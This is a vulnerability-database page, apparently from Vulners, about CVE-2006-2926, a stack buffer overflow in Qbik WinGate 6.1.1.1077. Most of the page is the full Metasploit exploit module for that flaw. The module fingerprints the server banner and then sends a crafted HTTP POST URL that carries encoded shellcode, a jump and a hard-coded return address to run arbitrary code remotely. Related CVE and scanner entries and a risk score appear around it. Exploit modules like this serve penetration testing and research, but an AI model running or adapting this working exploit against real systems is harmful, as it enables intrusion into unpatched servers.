Lucene search
+L

Qbik WinGate WWW Proxy Server URL Processing Overflow

🗓️ 18 Feb 2010 15:58:26Reported by aushack <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 23 Views

Qbik WinGate WWW Proxy Server URL Processing Overflow. Exploits stack buffer overflow in Qbik WinGate 6.1.1.1077 and earlier. Allows remote attacker to execute arbitrary code via malformed HTTP POST URL

Related
Code
ReporterTitlePublishedViews
Family
Tenable Nessus
WinGate < 6.1.3 POST Request Buffer Overflow
9 Jun 200600:00
nessus
Tenable Nessus
WinGate POST Request Buffer Overflow
9 Jun 200600:00
nessus
Circl
CVE-2006-2926
20 Sep 201000:00
circl
CVE
CVE-2006-2926
9 Jun 200610:00
cve
Cvelist
CVE-2006-2926
9 Jun 200610:00
cvelist
Exploit DB
QBik WinGate WWW Proxy Server - URL Processing Overflow (Metasploit)
20 Sep 201000:00
exploitdb
NVD
CVE-2006-2926
9 Jun 200610:02
nvd
Packet Storm
Qbik WinGate WWW Proxy Server URL Processing Overflow
19 Feb 201000:00
packetstorm
Prion
Stack overflow
9 Jun 200610:02
prion
canvas
Immunity Canvas: WINGATE_HTTPPROXY
9 Jun 200610:02
canvas
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Qbik WinGate WWW Proxy Server URL Processing Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Qbik WinGate version
        6.1.1.1077 and earlier. By sending malformed HTTP POST URL to the
        HTTP proxy service on port 80, a remote attacker could overflow
        a buffer and execute arbitrary code.
      },
      'Author'         => 'aushack',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2006-2926' ],
          [ 'OSVDB', '26214' ],
          [ 'BID', '18312' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'AllowWin32SEH' => true
        },
      'Payload'        =>
        {
          'Space'    => 1000,
          'BadChars' => "\x00\x0a\x0d\x20+&=%\/\\\#;\"\':<>?",
          'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'WinGate 6.1.1.1077', { 'Ret' => 0x01991932 } ], # call esi
        ],
      'Privileged'     => true,
      'DisclosureDate' => '2006-06-07',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(80)
      ])
  end

  def check
    connect
    sock.put("GET /\r\n\r\n") # Malformed request to get proxy info
    banner = sock.get_once || ''
    if (banner =~ /Server:\sWinGate\s6.1.1\s\(Build 1077\)/)
      return Exploit::CheckCode::Appears
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    connect

    print_status("Trying target #{target.name}...")

    buff = Rex::Text.rand_text_alphanumeric(3000)
    buff[1200, 1000] = payload.encoded # jmp here
    buff[2200, 5] = Rex::Arch::X86.jmp(-1005) # esi
    buff[2284, 4] = [target['Ret']].pack('V') #eip

    sploit  = "POST http://#{buff}/ HTTP/1.0\r\n\r\n"

    sock.put(sploit)
    sock.get_once(-1, 3)

    handler
    disconnect
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2020 20:00Current
7.9High risk
Vulners AI Score7.9
CVSS 27.5
EPSS0.70702
23